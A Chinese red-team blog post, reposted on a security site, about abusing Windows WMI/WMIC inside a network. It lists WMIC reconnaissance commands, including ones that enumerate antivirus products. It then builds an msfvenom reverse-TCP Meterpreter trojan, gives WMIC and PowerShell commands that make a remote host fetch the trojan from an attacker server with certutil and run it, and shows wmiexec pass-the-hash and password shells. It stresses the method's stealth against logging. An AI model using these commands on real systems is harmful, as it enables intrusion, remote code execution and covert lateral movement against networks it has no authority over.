黑客(红队)攻防中内网环境下WMI的利用

admin 2024年1月16日08:31:53评论18 views字数 3378阅读11分15秒阅读模式
黑客(红队)攻防中内网环境下WMI的利用
WMI简介

WMI,全称Windows Management Instrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。
WMI使用了一种特殊的方式来表示这些信息,叫做通用信息模(CIM)。通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。
此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。这就意味着,通过简单的命令或脚本,我们就可以执行各种复杂的管理任务,比如查询系统信息、更改系统设置、管理服务和设备等。

黑客(红队)攻防中内网环境下WMI的利用
利用WMIC进行信息收集

WMIC是Windows Management Instrumentation Commandline的简称,是WMI的命令行版本,WMIC允许用户通过简单的命令行指令来执行系统管理任务,如查询系统信息、更改系统设置、管理服务和设备等。


所以攻击者就可以利用WMIC进行内网的信息收集工作,例如:

wmic product get IdentifyingNumber, Name, Version, Vendor

可以获取到已安装的程序信息


黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

获取硬盘的型号、容量和分区等信息:
wmic diskdrive get Model, Size, Partitions

黑客(红队)攻防中内网环境下WMI的利用

回显杀毒软件名称:


WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

黑客(红队)攻防中内网环境下WMI的利用

我电脑有自己装的火绒和Windows Defender所以回显了这两个杀毒
软件名字。
回显杀毒软件安装路径:
WMIC /namespace:\rootsecuritycenter2 path antivirusproduct get displayname,productstate,pathtosignedproductexe

黑客(红队)攻防中内网环境下WMI的利用获取操作系统信息

wmic os get Caption, Version, OSArchitecture

黑客(红队)攻防中内网环境下WMI的利用

还有其它的一些常用命令:
wmic computersystem get caption, domain //获取主机名和域名wmic cpu get name, numberofcores, maxclockspeed, l2cachesize //获取CPU详细信息wmic useraccount get name, type, disabled//获取当前用户和组wmic localgroup get name, groupcategory, members//获取当前用户和组wmic service get state, name, startmode, pathname, processid //获取所有服务的状态wmic nicconfig get macaddress, ipaddress //获取网络适配器的MAC地址和IP地址
黑客(红队)攻防中内网环境下WMI的利用
WMIC远程获取shell
而前面也说了WMIC还有远程管理文件和操作计算机的功能,所以我们可以利用这一点去远程操纵计算机获取shell。
首先我们用Kali生成一个test的木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1909 -f exe >test.exe

黑客(红队)攻防中内网环境下WMI的利用


然后python起一个监听8080端口,这样我们后续远程用8080端口去下载test.exe木马就能明显的看到效果。

黑客(红队)攻防中内网环境下WMI的利用

然后用跳板机运行Wimc命令远程连接已知密码的目标机器
wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe"
<remote_computer_name>是要连接的远程计算机的名称或IP地址,<username>是要使用的用户名,<password>是对应的密码.

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

这段命令的作用就是远程连接到<remote_computer_name>计算机的<username>用户并且创建一个进程运行cmd.exe程序.

而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe用于我们test.exe木马的安装,把这一步命令和前面连接计算机的命令结合就是:

wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe" /c certutil.exe -urlcache -f -split http://192.168.1.2:8080/test.exe&&test.exe
把这一步写成powershell代码就是:
$ip = "192.168.1.1"$username = "Administrator"$password = "Password@test"$url = "http://192.168.1.2:8080/test.exe"

$securePassword = ConvertTo-SecureString $password -AsPlainText -Force$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

Invoke-Command -ComputerName $ip -Credential $credential -ScriptBlock {    cmd.exe /c "certutil.exe -urlcache -f -split $url"}

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

Kali端成功回显并且在目标机中也发现test.exe文件.

值得注意的是这段命令中的test.exe&&test.exe中的&&叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:

/test.exe /nobreak && test.exe
  • /nobreak 是表示新进程完成后不要中断。
  • && start test.exe 则表示在新进程执行完毕后启动test.exe程序。
黑客(红队)攻防中内网环境下WMI的利用
利用WMI进行域横向

看完前面的操作相信师傅们也大致对WMI进行横向渗透也有了一定的思路。

Kali中提供了一个非常方便就能利用WMI进行横向渗透的工具,就是

wmiexec

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

用法也是非常简单,常用的两种为利用Hash或是和前面远程获取shell一样利用密码获取shell.

利用hash获取shell:

python3 wmiexec.py -hashes xxxxxxxxxx:xxxxxxxx Admin@192.168.1.1 "ipconfig"

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

利用密码getshell:

python3 wmiexec.py Admin:123456@192.168.1.1

黑客(红队)攻防中内网环境下WMI的利用

黑客(红队)攻防中内网环境下WMI的利用

其余的横向命令,理解WMIC命令后也是很简单,例如:

wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径   //获取远程计算机的系统信息wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径   //获取远程计算机的进程信息wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call start > nul || wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call stop > nul   //启动或停止远程计算机上的服务

黑客(红队)攻防中内网环境下WMI的利用
总结

实际上wmicexec进行横向渗透时,Windows操作系统默认不会将WMI的操作记录在日志中同时无需将wmicexec.py移动到目标机上,所以隐蔽性较高,因为WMI是Windows的管理工具,所以大多数基于Windows的软件都依赖于此服务,所以利用成功率是较高的,而缺点就是有时占用较大容易把系统搞崩再不济就是同样搞蓝屏。

原文始发于微信公众号(flower安全):黑客(红队)攻防中内网环境下WMI的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月16日08:31:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客(红队)攻防中内网环境下WMI的利用https://cn-sec.com/archives/2397612.html

发表评论

匿名网友 填写信息